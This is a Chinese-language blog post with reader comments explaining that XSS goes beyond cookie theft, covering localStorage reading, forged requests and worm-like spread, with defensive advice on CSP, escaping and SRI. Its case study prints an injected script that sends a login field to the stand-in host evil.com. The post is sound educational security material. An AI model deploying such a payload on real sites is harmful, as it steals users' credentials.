XSS漏洞真只会盗取Cookie?

15 人参与

很多初学者在看到 XSS(跨站脚本)报告时,第一反应就是“它只能偷走 Cookie”。实际上,攻击者可以把浏览器当成一把多功能的钥匙,打开几乎所有与用户交互的后门。只要脚本在受害者的上下文里执行,信息泄露、请求伪造、甚至自我复制的蠕虫都不再是空想。

超越 Cookie 的攻击面

除了最常被提到的 document.cookie,攻击者还能直接读取 localStoragesessionStorage,甚至利用 navigator 对象抓取浏览器指纹、已安装插件列表。通过构造隐藏的 form 并自动提交,后台删除、转账或修改密码的请求可以在毫秒间完成;利用 fetchXMLHttpRequest,攻击者还能把用户的企业内部 API 结果偷回自己的服务器。

实战案例:从表单劫持到蠕虫传播

某金融门户在登录页缺少 CSP(内容安全策略),攻击者注入了如下脚本:

<script>
  var f=document.createElement('form');
  f.method='POST';f.action='https://evil.com/steal';
  f.innerHTML='<input name="user" value="'+document.getElementById('user').value+'"/>';
  document.body.appendChild(f);
  f.submit();
</script>

表单悄然提交后,用户的登录凭证被转走。更离谱的是,同一段代码里加入了对 localStorage 的遍历,收集的会话信息再通过 WebSocket 推送到攻击者的控制台。随后,攻击者在页面中植入自复制的 script,导致登录后每一次访问都自动下载恶意脚本,形成了 2003 年“冲击波蠕虫”式的链式感染。

防御视角:不止 HttpOnly

  • 采用严格的 CSP,禁止内联脚本和不受信任的来源。
  • 对所有输出进行上下文感知的转义,HTML、属性、URL、JavaScript 均使用专用编码函数。
  • 启用 SRI(子资源完整性)校验,防止第三方库被篡改。
  • 对敏感操作加入双因素验证或一次性令牌,即使 XSS 成功也难以完成关键请求。

把 XSS 当成“只会偷 Cookie”的误区抛开,才能真正评估它在实际攻击链中的位置。只要脚本能在用户浏览器里跑,几乎任何能在前端完成的操作,都可能被恶意利用。于是,安全团队在审计时会把“页面展示”与“业务逻辑”同等看待,防线自然更稳固。

参与讨论

15 条评论
  • 松鼠饼干

    原来XSS还能干这么多事,之前真以为就偷cookie呢

    回复
  • 社交小天才

    这案例太吓人了,表单直接被劫持还自复制?

    回复
  • PhantomSigh

    求问CSP具体怎么配才能防住这种内联脚本啊?

    回复
  • 玉佩琼琚

    前几天刚修了个XSS漏洞,只加了HttpOnly,现在看漏了好多点

    回复
  • 天狼星之眼

    localStorage也能被读?那存token岂不是更危险

    回复
  • 记忆的涟漪

    感觉很多公司根本没开CSP,纯靠转义硬扛

    回复
  • 果冻喵喵

    用WebSocket偷数据这招有点狠啊🤔

    回复
  • 烛商邓

    要是页面里用了第三方统计脚本,是不是更容易被带入恶意代码?

    回复
  • Ghost影

    SRI真的有用吗?我试过但老报错,最后关了

    回复
  • 飞鸟与远行

    这不就是浏览器完全沦陷了嘛,用户点一下就全完了

    回复
  • 樵夫宋丑

    内部API没做二次验证的话,XSS一打一个准

    回复
  • 星夜之歌

    防御措施列得挺全,但实际开发哪有时间全搞hhh

    回复
  • 布鲁斯

    2003年蠕虫都搬出来了,真是经典永流传啊。

    回复
    1. 布丁兔兔

      @ 布鲁斯 经典案例总得拿出来说说

      回复
  • 汀兰岸芷

    原来还能偷localStorage,这可比cookie狠多了。

    回复